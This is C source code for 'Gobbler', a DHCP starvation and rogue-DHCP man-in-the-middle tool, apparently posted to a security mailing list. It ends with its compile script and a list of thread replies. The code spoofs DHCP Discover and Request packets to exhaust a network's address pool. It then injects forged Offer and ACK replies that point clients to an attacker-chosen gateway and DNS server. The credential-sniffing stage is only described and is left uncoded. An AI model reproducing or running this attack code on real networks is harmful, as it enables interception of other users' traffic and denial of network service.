libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf); } if(verbose) printf("Libnet device: %s\n",netdevice); } if((network = libnet_open_link_interface(netdevice, err_buf)) == NULL){ libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", err_buf); } payload[0] = 0x01; //Boot Request payload[1] = 0x01; //Hardware Address Type payload[2] = 0x06; //Hardware Address Length payload[3] = 0x00; //hopcount payload[4] = trans1; //Transaction ID payload[5] = trans2; payload[6] = trans3; payload[7] = trans4; payload[8] = 0x00; //time elapsed since boot payload[9] = 0x00; payload[10] = 0x00; //Broadcast flag n reserved payload[11] = 0x00; payload[12] = 0x00; //Cli address payload[13] = 0x00; payload[14] = 0x00; payload[15] = 0x00; payload[16] = 0x00; //Your client IP payload[17] = 0x00; payload[18] = 0x00; payload[19] = 0x00; payload[20] = 0x00; //Address of next Server payload[21] = 0x00; payload[22] = 0x00; payload[23] = 0x00; payload[24] = 0x00; //relay agents IP//Client MAC address payload[25] = 0x00; payload[26] = 0x00; payload[27] = 0x00; payload[28] = enet_src[0]; //Client MAC Address payload[29] = enet_src[1]; payload[30] = enet_src[2]; payload[31] = enet_src[3]; payload[32] = enet_src[4]; payload[33] = enet_src[5]; payload[34] = 0x00;//remaining client MAC address (if not ethernet) payload[35] = 0x00; payload[36] = 0x00; payload[37] = 0x00; payload[38] = 0x00; payload[39] = 0x00; payload[40] = 0x00; payload[41] = 0x00; payload[42] = 0x00; payload[43] = 0x00; //room for boot file name and server host name payload[236] = 0x63; //magic cookie payload[237] = 0x82; payload[238] = 0x53; payload[239] = 0x63; payload[240] = 0x35; //message type option payload[241] = 0x01; //length of message type option payload[242] = 0x01; //discover //specify longer renew + re sumut payload_size = 300; //lame packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload_size; if(libnet_init_packet(packet_size, &packet) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } libnet_build_ethernet( enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, packet); libnet_build_ip(LIBNET_UDP_H + payload_size, 0, packetid, 0, 64, IPPROTO_UDP, 0, //source IP 0.0.0.0 dst_ip, //255.255.255.255 NULL, 0, packet + LIBNET_ETH_H); libnet_build_udp(68, 67, payload, payload_size, packet + LIBNET_ETH_H + LIBNET_IP_H); if(libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if(libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } a = libnet_write_link_layer(network, netdevice, packet, packet_size); if(a<packet_size){ libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", a); } else{ printf("DHCP Discover packet constructed and injected, wrote all %d bytes\n", a); } nsent++; //free memory libnet_destroy_packet(&packet); alarm(tymeout); offerit = 1; sniffed = opensniff(trans1, trans2, trans3, trans4); canjump = 0; alarm(0); memset(payload2, 0, sizeof(payload2)); payload2[0] = 0x01; //Boot Request payload2[1] = 0x01; //Hardware Address Type payload2[2] = 0x06; //Hardware Address Length payload2[3] = 0x00; //hopcount payload2[4] = trans1; //Transaction ID payload2[5] = trans2; payload2[6] = trans3; payload2[7] = trans4; payload2[8] = 0x00; //time elapsed since boot payload2[9] = 0x00; payload2[10] = 0x00; //Broadcast flag n reserved payload2[11] = 0x00; payload2[12] = 0x00; //Cli address payload2[13] = 0x00; payload2[14] = 0x00; payload2[15] = 0x00; payload2[16] = 0x00; //Your client IP payload2[17] = 0x00; payload2[18] = 0x00; payload2[19] = 0x00; payload2[20] = 0x00; //Address of next Server payload2[21] = 0x00; payload2[22] = 0x00; payload2[23] = 0x00; payload2[24] = 0x00; //relay agents IP payload2[25] = 0x00; payload2[26] = 0x00; payload2[27] = 0x00; payload2[28] = enet_src[0]; //Client MAC Address payload2[29] = enet_src[1]; payload2[30] = enet_src[2]; payload2[31] = enet_src[3]; payload2[32] = enet_src[4]; payload2[33] = enet_src[5]; payload2[34] = 0x00;//remaining client MAC address (if not ethernet) payload2[35] = 0x00; payload2[36] = 0x00; payload2[37] = 0x00; payload2[38] = 0x00; payload2[39] = 0x00; payload2[40] = 0x00; payload2[41] = 0x00; payload2[42] = 0x00; payload2[43] = 0x00; //room for boot file name and server host name payload2[236] = 0x63; //magic cookie payload2[237] = 0x82; payload2[238] = 0x53; payload2[239] = 0x63; payload2[240] = 0x35; //message type option payload2[241] = 0x01; //length of message type option payload2[242] = 0x03; //request payload2[243] = 0x32; //request IP address option payload2[244] = 0x04; //length payload2[245] = sniffed->buf[16]; payload2[246] = sniffed->buf[17]; payload2[247] = sniffed->buf[18]; payload2[248] = sniffed->buf[19]; payload2[249] = 0x36; //Server ID payload2[250] = 0x04; //length payload2[251] = sniffed->buf[20]; payload2[252] = sniffed->buf[21]; payload2[253] = sniffed->buf[22]; payload2[254] = sniffed->buf[23]; payload2[255] = 0x37; //request parameters payload2[256] = 0x02; //length payload2[257] = 0x01; payload2[258] = 0x03; payload2[259] = 0xff; payload2_size = 300; packet2_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload2_size; if(libnet_init_packet(packet2_size, &packet2) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } libnet_build_ethernet( enet_dst, enet_src, ETHERTYPE_IP, NULL, 0, packet2); libnet_build_ip(LIBNET_UDP_H + payload2_size, 0, packetid+1, 0, 64, IPPROTO_UDP, 0, //source dst_ip, NULL, 0, packet2 + LIBNET_ETH_H); libnet_build_udp(68, 67, payload2, payload2_size, packet2 + LIBNET_ETH_H + LIBNET_IP_H); if(libnet_do_checksum(packet2 + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if(libnet_do_checksum(packet2 + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload2_size) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } b = libnet_write_link_layer(network, netdevice, packet2, packet2_size); if(b<packet2_size){ libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", b); } else{ printf("DHCP request packet constructed and injected, wrote all %d bytes\n", b); } //close interface incase it screws the sniffer if(libnet_close_link_interface(network) == -1){ libnet_error(LN_ERR_WARNING, "libnet_close_link_interface couldn't close the interface"); } //free memory libnet_destroy_packet(&packet2); offerit = 0; nackit = 0; requestit = 0; ackit = 1; sniffed = opensniff(trans1, trans2, trans3, trans4); //printf("Gobbling %d.%d.%d.%d..... total: %d\n\n",convert8(sniffed->buf,16),convert8(sniffed->buf,17),convert8(sniffed->buf,18),convert8(sniffed->buf,19),count); //still need to check for ACK to make sure return(sniffed); } void mitm(void) { register int a; struct header *head; //used in inital gobble signal(SIGTERM, cleanup); signal(SIGINT, cleanup); signal(SIGHUP, cleanup); printf("Man the middle attack\n\n"); if(!nonewips){ bzero(&gips, sizeof(gips)); for(a=0; (a < (maninthemiddle)); a++){ bzero(&head, sizeof(head)); sleep(1.5); gipnum = 0; head = gobble(); gips[a].address[0] = convert8(head->buf,16); gips[a].address[1] = convert8(head->buf,17); gips[a].address[2] = convert8(head->buf,18); gips[a].address[3] = convert8(head->buf,19); } } for(a=0; ( a< (maninthemiddle)); a++){ printf("Address(es) to be spoofed %d.%d.%d.%d\n", gips[a].address[0], gips[a].address[1], gips[a].address[2], gips[a].address[3]); } if((nonewips) && (gipnum < maninthemiddle)) gipnum++; //used to cycle through gobbled ips bzero(&head, sizeof(head)); middle = 1; printf("Sniffing for discover messages\n"); head = opensniff(0,0,0,0); sniffedattack(head); exit(0); } void sniffedattack(struct header *heada) { int packet_size, payload_size, packetid, a; register int z; u_long dst_ip = 0; //u_long src_ip = 0; u_char *packet; char err_buf[LIBNET_ERRBUF_SIZE]; struct libnet_link_int *network; struct header *sniffed; struct header *sniffed2; u_char payload[MAX_PAYLOAD_SIZE]; volatile int nsent = 0, tymeout = 0; int go; unsigned char *gateip; unsigned char *dnsip; unsigned char *fakedhcpip; u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; //use 0's as mac address :) u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //broadcast mac address //sort out randoms if(!samemac){ enet_src[0] = 0; //random source mac enet_src[1] = libnet_get_prand(PR8); //first 2 set to 0 as specifed in rfc enet_src[2] = libnet_get_prand(PR8); enet_src[3] = libnet_get_prand(PR8); enet_src[4] = libnet_get_prand(PR8); enet_src[5] = libnet_get_prand(PR8); packetid = libnet_get_prand(PR16); //rand packet id storedpackid = packetid; for(z=0; z<sizeof(enet_src); z++){ storedmac[z] = enet_src[z]; } } samemac = 1; packetid++; tymeout = 10;//timeout; middle = 0; offerit = 0; printf("Time to do the dirty work\n"); signal(SIGALRM, sig_alrm); if(sigsetjmp(jmpbuf, 1)){ if(nsent >=1){ printf("\nNo response....\n"); printf("Could mean a couple of things:\n\t\tThe clients decided to use a different DHCP server.... damn\n\t\tThe timeout value is may be too small.... use -t\n"); cleanup(0); exit(1); } //tymeout *=2; printf("\nTimed out..... new timeout value %d secs\n",tymeout); } canjump = 1; memset(payload, 0, sizeof(payload)); if (!(dst_ip = libnet_name_resolve("255.255.255.255", LIBNET_RESOLVE))){ libnet_error(LIBNET_ERR_FATAL, "Bad dest IP: 255.255.255.255\n"); } /* if (!(src_ip = libnet_name_resolve("192.168.3.4", LIBNET_RESOLVE))){ libnet_error(LIBNET_ERR_FATAL, "Bad dest IP: 255.255.255.255\n"); }*/ //src ip is 0.0.0.0 if(netdevice == NULL){ struct sockaddr_in sin; if(libnet_select_device(&sin, &netdevice, err_buf) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf); } if(verbose) printf("Libnet device: %s\n",netdevice); } if((network = libnet_open_link_interface(netdevice, err_buf)) == NULL){ libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", err_buf); } payload[0] = 0x02; //Boot Reply payload[1] = 0x01; //Hardware Address Type payload[2] = 0x06; //Hardware Address Length payload[3] = 0x00; //hopcount payload[4] = heada->buf[4]; //Transaction ID from client payload[5] = heada->buf[5]; payload[6] = heada->buf[6]; payload[7] = heada->buf[7]; payload[8] = 0x00; //time elapsed since boot payload[9] = 0x00; payload[10] = 0x00; //Broadcast flag n reserved payload[11] = 0x00; payload[12] = 0x00; //Cli address payload[13] = 0x00; // payload[14] = 0x00; // payload[15] = 0x00; // payload[16] = gips[gipnum].address[0]; //offered IP payload[17] = gips[gipnum].address[1]; payload[18] = gips[gipnum].address[2]; payload[19] = gips[gipnum].address[3]; sentipa = payload[16]; sentipb = payload[17]; sentipc = payload[18]; sentipd = payload[19]; /* payload[20] = sniffedofferheader.buf[20]; //Address of next Server payload[21] = sniffedofferheader.buf[21]; //need to sort payload[22] = sniffedofferheader.buf[22]; payload[23] = sniffedofferheader.buf[23]; */ fakedhcpip = (unsigned char *) &fakedhcp.s_addr; payload[20] = 0x00;//fakedhcpip[0]; //Address of next Server payload[21] = 0x00;//fakedhcpip[1];//0xa8; payload[22] = 0x00;//fakedhcpip[2];//0x03; payload[23] = 0x00;//fakedhcpip[3];//0x04; payload[24] = 0x00; //relay agents IP payload[25] = 0x00; payload[26] = 0x00; payload[27] = 0x00; payload[28] = heada->buf[28]; //Client MAC Address payload[29] = heada->buf[29]; payload[30] = heada->buf[30]; payload[31] = heada->buf[31]; payload[32] = heada->buf[32]; payload[33] = heada->buf[33]; payload[34] = 0x00;//remaining client MAC address (if not ethernet) payload[35] = 0x00;//still need to sort payload[36] = 0x00; payload[37] = 0x00; payload[38] = 0x00; payload[39] = 0x00; payload[40] = 0x00; payload[41] = 0x00; payload[42] = 0x00; payload[43] = 0x00; //room for boot file name and server host name payload[236] = 0x63; //magic cookie payload[237] = 0x82; payload[238] = 0x53; payload[239] = 0x63; payload[240] = 0x35; //message type option payload[241] = 0x01; //length of message type option payload[242] = 0x02; //offer //need to sort for auto fill payload[243] = 0x01; //subnet option payload[244] = 0x04; //length of subnet address payload[245] = subneta; //0xff; //255 payload[246] = subnetb; //255 payload[247] = subnetc; //255 payload[248] = subnetd; //0 payload[249] = 0x33; //Lease time option payload[250] = 0x04; //length of lease time option payload[251] = leasea; //0x00; payload[252] = leaseb; //0x0a; payload[253] = leasec; //0x8c; payload[254] = leased; //0x00; payload[255] = 0x36; //DHCP server IP address option payload[256] = 0x04; //length of option payload[257] = fakedhcpip[0];//0xC0; //need to sort payload[258] = fakedhcpip[1];//0xa8; payload[259] = fakedhcpip[2];//0x03; payload[260] = fakedhcpip[3];//0x04; payload[261] = 0x3a; //Renewal time t1 payload[262] = 0x04; //length of time option payload[263] = renewala; //0x00; //time payload[264] = renewalb; //0x09; payload[265] = renewalc; //0x3A; payload[266] = renewald; //0x80; payload[267] = 0x3b; //rebinding time t2 payload[268] = 0x04; //length of time t2 option payload[269] = rebinda; //0x00; //time payload[270] = rebindb; //0x0a; payload[271] = rebindc; //0x8c; payload[272] = rebindd; //0x00; gateip = (unsigned char *) &gateway.s_addr; payload[273] = 0x03; //router option i.e. default gateway payload[274] = 0x04; //length /* payload[275] = gatewaya; //0xc0; //192 payload[276] = gatewayb; //0xa8; //168 payload[277] = gatewayc; //0x03; payload[278] = gatewayd; //0x02; */ payload[275] = gateip[0]; payload[276] = gateip[1]; payload[277] = gateip[2]; payload[278] = gateip[3]; dnsip = (unsigned char *) &dns.s_addr; payload[279] = 0x06; //domain name server IP option ne payload[280] = 0x04; //length /* payload[281] = dnsa; //0xc0; //192 payload[282] = dnsb; //0xa8; //168 payload[283] = dnsc; //0x03; //need to sort our DNS forwarder payload[284] = dnsd; //0x02; */ payload[281] = dnsip[0]; payload[282] = dnsip[1]; payload[283] = dnsip[2]; payload[284] = dnsip[3]; payload[285] = 0xff; //end of domain name list need to add normal DNS payload_size = 300;//300 originlly //need to specify default gate way as this machine packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload_size; if(libnet_init_packet(packet_size, &packet) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } libnet_build_ethernet( enet_dst, storedmac, ETHERTYPE_IP, NULL, 0, packet); libnet_build_ip(LIBNET_UDP_H + payload_size, 0, storedpackid, 0, 64, IPPROTO_UDP, 0, //source IP 0.0.0.0 dst_ip, //255.255.255.255 NULL, 0, packet + LIBNET_ETH_H); libnet_build_udp(67, 68, payload, payload_size, packet + LIBNET_ETH_H + LIBNET_IP_H); if(libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if(libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } a = libnet_write_link_layer(network, netdevice, packet, packet_size); if(a<packet_size){ libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", a); } else{ printf("DHCP Offer packet constructed and injected, wrote all %d bytes\n", a); } nsent++; //free memory libnet_destroy_packet(&packet); alarm(tymeout); requestit = 1; middle = 1; offerit = 0; sniffed = opensniff(heada->buf[4], heada->buf[5], heada->buf[6], heada->buf[7]); canjump = 0; alarm(0); printf("Creating an Ack packet\n\n"); storedpackid++; memset(payload, 0, sizeof(payload)); payload[0] = 0x02; //Boot Reply payload[1] = 0x01; //Hardware Address Type payload[2] = 0x06; //Hardware Address Length payload[3] = 0x00; //hopcount payload[4] = sniffed->buf[4]; //Transaction ID from client payload[5] = sniffed->buf[5]; payload[6] = sniffed->buf[6]; payload[7] = sniffed->buf[7]; payload[8] = 0x00; //time elapsed since boot payload[9] = 0x00; payload[10] = 0x00; //Broadcast flag n reserved payload[11] = 0x00; payload[12] = 0x00; //Cli address payload[13] = 0x00; payload[14] = 0x00; payload[15] = 0x00; payload[16] = gips[0].address[0]; //offer IP payload[17] = gips[0].address[1]; payload[18] = gips[0].address[2]; payload[19] = gips[0].address[3]; sentipa = payload[16]; sentipb = payload[17]; sentipc = payload[18]; sentipd = payload[19]; payload[20] = 0x00; //Address of next Server payload[21] = 0x00; //need to sort possible use snifferofferheader payload[22] = 0x00; payload[23] = 0x00; payload[24] = 0x00; //relay agents IP payload[25] = 0x00; payload[26] = 0x00; payload[27] = 0x00; payload[28] = sniffed->buf[28]; //Client MAC Address payload[29] = sniffed->buf[29]; payload[30] = sniffed->buf[30]; payload[31] = sniffed->buf[31]; payload[32] = sniffed->buf[32]; payload[33] = sniffed->buf[33]; payload[34] = 0x00;//remaining client MAC address (if not ethernet) payload[35] = 0x00;//still need to sort payload[36] = 0x00; payload[37] = 0x00; payload[38] = 0x00; payload[39] = 0x00; payload[40] = 0x00; payload[41] = 0x00; payload[42] = 0x00; payload[43] = 0x00; //room for boot file name and server host name // payload[236] = 0x63; //magic cookie payload[237] = 0x82; payload[238] = 0x53; payload[239] = 0x63; payload[240] = 0x35; //message type option payload[241] = 0x01; //length of message type option payload[242] = 0x05; //ack payload[243] = 0x01; //subnet option payload[244] = 0x04; //length of subnet address payload[245] = subneta; payload[246] = subnetb; payload[247] = subnetc; payload[248] = subnetd; payload[249] = 0x33; //Lease time option payload[250] = 0x04; //length of lease time option payload[251] = leasea; //0x00; payload[252] = leaseb; //0x0a; payload[253] = leasec; //0x8c; payload[254] = leased; //0x00; payload[255] = 0x36; //DHCP server IP address option payload[256] = 0x04; //length of option payload[257] = fakedhcpip[0];//0xC0; //sort out spoofing real DHCP server IP payload[258] = fakedhcpip[1];//0xa8; payload[259] = fakedhcpip[2];//0x03; payload[260] = fakedhcpip[3];//0x04; payload[261] = 0x3a; //Renewal time t1 payload[262] = 0x04; //length of time option payload[263] = leasea; //0x00; //time payload[264] = leaseb; //0x09; payload[265] = leasec; //0x3A; payload[266] = leased; //0x80; payload[267] = 0x3b; //rebinding time t2 payload[268] = 0x04; //length of time t2 option payload[269] = rebinda; //time payload[270] = rebindb; payload[271] = rebindc; payload[272] = rebindd; payload[273] = 0x03; //router option default gateway payload[274] = 0x04; //length payload[275] = gateip[0]; payload[276] = gateip[1]; payload[277] = gateip[2]; payload[278] = gateip[3]; payload[279] = 0x06; //domain name server IP option payload[280] = 0x04; //length payload[281] = dnsip[0]; payload[282] = dnsip[1]; payload[283] = dnsip[2]; payload[284] = dnsip[3]; payload[285] = 0xff; //end of domain name list need to add normal DNS payload_size = 300;//300 originlly packet_size = LIBNET_ETH_H + LIBNET_IP_H + LIBNET_UDP_H + payload_size; if(libnet_init_packet(packet_size, &packet) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); } libnet_build_ethernet( enet_dst, storedmac, ETHERTYPE_IP, NULL, 0, packet); libnet_build_ip(LIBNET_UDP_H + payload_size, 0, storedpackid, 0, 64, IPPROTO_UDP, 0,//src_ip or 0 dst_ip, //255.255.255.255 NULL, 0, packet + LIBNET_ETH_H); libnet_build_udp(67, 68, payload, payload_size, packet + LIBNET_ETH_H + LIBNET_IP_H); if(libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } if(libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1){ libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n"); } a = libnet_write_link_layer(network, netdevice, packet, packet_size); if(a<packet_size){ libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", a); } else{ printf("DHCP ACK packet constructed and injected, wrote all %d bytes\n", a); } //free memory libnet_destroy_packet(&packet); printf("Man in the middle should be established m00 m4m4m4m4\n\n Just checking incase of other servers weren't happy (waiting for 10 seconds)\n\n"); nackit = 1; canjump = 0; go = 0; tymeout = 10; signal(SIGALRM, sig_alrm); if(sigsetjmp(jmpbuf, 1)){ if(nsent >=1){ printf("\nNo response....\n"); printf("A one way man in the middle attack established w00p w00p\n"); canjump = 0; alarm(0); go = 1; } } canjump = 1; nsent++; //free memory libnet_destroy_packet(&packet); alarm(tymeout); offerit = 1; if(go == 1) { alarm(0); trickery(); } else { sniffed2 = opensniff(sniffed->buf[4], sniffed->buf[5], sniffed->buf[6], sniffed->buf[7]); printf("Shit we have to restart the attack\n\n"); exit(0); } } void trickery() { //need to start sniffer for dest mac + source IP of the one dished out. //Arp replys required + changing dest mac address to the one of default routers. //need to find default routers mac address //we get default gateway IP from the gobbled IP's if not no default gateway.... //do arp request on default gateway before start sniffing for requests //on certain packets ie port 21 log username and password //look at ettercap / etherpeek printf("The trickery would starts here if coded (i did say it was proof of concept) :)\n\n\n"); // printf("The default gateway and DNS server will have been set to the //getgatewaymac(); exit(0); } unsigned short in_chksum(unsigned short *pts, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while(nbytes > 1){ sum += *pts++; nbytes -=2; } if(nbytes == 1){ oddbyte = 0; *((u_char *) &oddbyte) = *(u_char *)pts; sum += oddbyte; } sum = (sum >> 16) + (sum &0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } void getgatewaymac() { int n; u_char *buf; char errbuf[256]; struct libnet_link_int *l; u_char enet_src[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; u_char ip_src[4] = {0xff, 0xff, 0xff, 0xff}; // u_char ip_dst[4] = {gatewaya, gatewayb, gatewayc, gatewayd}; u_char ip_dst[4] = {0xc0, 0xa8, 0x03, 0x01}; printf("Trying to get Gateways MAC address......\n"); l = libnet_open_link_interface(netdevice, errbuf); if (!l) { printf("Libnet_open_link_interface: %s\n", errbuf); exit(1); } if(libnet_init_packet(LIBNET_ARP_H + LIBNET_ETH_H, &buf) == -1) { printf("Libnet_init_packet memory error\n"); exit(1); } libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf); libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src, ip_src, enet_dst, ip_dst, NULL, 0, buf + LIBNET_ETH_H); n = libnet_write_link_layer(l, device, buf, LIBNET_ARP_H + LIBNET_ETH_H); printf("Wrote %d bytes ARP packet through linktype %d\n", n, l->linktype); libnet_destroy_packet(&buf); middle = 0; arpsniff = 1; gatewayarpsniff(); } void gatewayarpsniff() { // struct ether_addr eaddr; // open_pcap(); printf("Sniffing for gateway's MAC address\n"); // for(;;) { // } // opensniff(0,0,0,0); } void sig_alrm(int sigio) { if (canjump == 0) return; siglongjmp(jmpbuf, 1); } //end of main.c //convert.c #include "DHCP.h" //start of convert functions unsigned int convert32(char *ptr, int anum, int bnum, int cnum, int dnum) { register unsigned int seq_num = 0; register unsigned char octet; octet = ptr[anum]; seq_num = (seq_num + octet) << 8; seq_num = seq_num & 0x0000ff00; octet = ptr[bnum]; seq_num = (seq_num + octet) << 8; seq_num = seq_num & 0x00ffff00; octet = ptr[cnum]; seq_num = (seq_num + octet) << 8; seq_num = seq_num & 0xffffff00; octet = ptr[dnum]; seq_num = (seq_num + octet); return seq_num; } unsigned int convert16(char *ptr, int anum, int bnum) { register unsigned int suma = 0; register unsigned int sumb = 0; register unsigned int ans = 0; register int q = 0; register int p = 0; for(q=128;q>0;q=q/2){ if(q &ptr[anum]) { if((q=128 &ptr[anum])) suma+=32768; if((q=64 &ptr[anum])) suma+=16384; if((q=32 &ptr[anum])) suma+=8192; if((q=16 &ptr[anum])) suma+=4096; if((q=8 &ptr[anum])) suma+=2048; if((q=4 &ptr[anum])) suma+=1024; if((q=2 &ptr[anum])) suma+=512; if((q=1 &ptr[anum])) suma+=256; } } for(p=128;p>0;p=p/2){ if(p &ptr[bnum]) { sumb +=p; } } ans = (suma + sumb); return(ans); } unsigned int convert8(char *ptr, int num) { register unsigned int sum = 0; register int q = 0; for(q=128; q>0; q=q/2) { if(q &ptr[num]) sum += q; } return(sum); } //end of convert.c functions //start of compile.sh #!/bin/bash gcc `libnet-config --defines --cflags` *.c /usr/lib/libpcap.a -Wall -o Gobbler `libnet-config --libs` exit
Current thread:
- DHCP man in the middle attack root (Sep 22)
- Re: DHCP man in the middle attack Kurt Seifried (Sep 23)
- <Possible follow-ups>
- Re: DHCP man in the middle attack FX (Sep 23)
- Re: DHCP man in the middle attack FX (Sep 23)